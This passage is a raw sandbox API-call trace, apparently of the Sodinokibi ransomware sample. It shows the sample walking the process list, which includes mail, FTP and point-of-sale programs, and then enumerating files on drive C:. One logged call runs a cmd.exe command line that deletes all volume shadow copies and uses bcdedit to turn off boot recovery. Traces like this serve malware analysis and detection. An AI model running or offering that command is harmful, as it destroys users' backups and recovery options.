lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0056.555] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0056.556] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0056.557] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0056.558] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0056.559] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0056.560] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0056.560] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0056.561] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0056.562] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0056.563] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0056.563] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0056.564] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0056.565] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0056.565] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0056.566] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0056.567] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0056.568] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0056.569] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0056.569] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0056.570] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0056.572] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0056.573] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0056.574] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0056.574] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0056.575] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0056.576] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0056.577] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0056.577] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0056.578] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0056.579] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0056.579] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0056.580] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0056.581] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0056.581] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0056.582] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0056.582] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="place-performance-high.exe")) returned 1 [0056.583] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="cost.exe")) returned 1 [0056.584] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="ball.exe")) returned 1 [0056.584] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="evidence spring.exe")) returned 1 [0056.585] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="leave follow common.exe")) returned 1 [0056.585] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.586] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.587] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=13, dwFlags=0x0, szExeFile="sodinokibi.exe")) returned 1 [0056.587] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=13, dwFlags=0x0, szExeFile="sodinokibi.exe")) returned 0 [0056.588] CloseHandle (hObject=0x124) returned 1 [0056.588] GetForegroundWindow () returned 0x102d0 [0056.588] ShellExecuteExW (in: pExecInfo=0x18fea0*(cbSize=0x3c, fMask=0x0, hwnd=0x102d0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18fea0*(cbSize=0x3c, fMask=0x0, hwnd=0x102d0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0063.448] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfffe) returned 0x2054c20 [0063.450] GetDriveTypeW (lpRootPathName="\\\\?\\A:\\") returned 0x1 [0063.477] GetDriveTypeW (lpRootPathName="\\\\?\\B:\\") returned 0x1 [0063.478] GetDriveTypeW (lpRootPathName="\\\\?\\C:\\") returned 0x3 [0063.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040000 [0063.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10) returned 0x203faf8 [0063.478] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203faf8) returned 1 [0063.478] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0063.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6a3678, dwReserved1=0x7efde000, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x72d2f0 [0063.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040000 [0063.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x203ff60 [0063.478] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6a3678, dwReserved1=0x7efde000, cFileName="Boot", cAlternateFileName="")) returned 1 [0063.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040010 [0063.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1a) returned 0x20affc0 [0063.478] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x6a3678, dwReserved1=0x7efde000, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0063.478] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x6a3678, dwReserved1=0x7efde000, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0063.478] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0063.478] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9f4bb8e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0063.478] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9f8e5f60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0063.478] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0063.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040020 [0063.478] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x22) returned 0x203f848 [0063.479] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd69f8a60, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd69f8a60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040030 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x203ff98 [0063.479] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040040 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x38) returned 0x2034c08 [0063.479] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040050 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x2034c48 [0063.479] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Recovery", cAlternateFileName="")) returned 1 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040060 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x22) returned 0x2034c78 [0063.479] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x1dd28320, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x1dd28320, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040070 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x44) returned 0x2034ca8 [0063.479] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Users", cAlternateFileName="")) returned 1 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040080 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1c) returned 0x2034cf8 [0063.479] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45ef6ee0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x45ef6ee0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Windows", cAlternateFileName="")) returned 1 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040090 [0063.479] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x20) returned 0x2034d20 [0063.479] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, 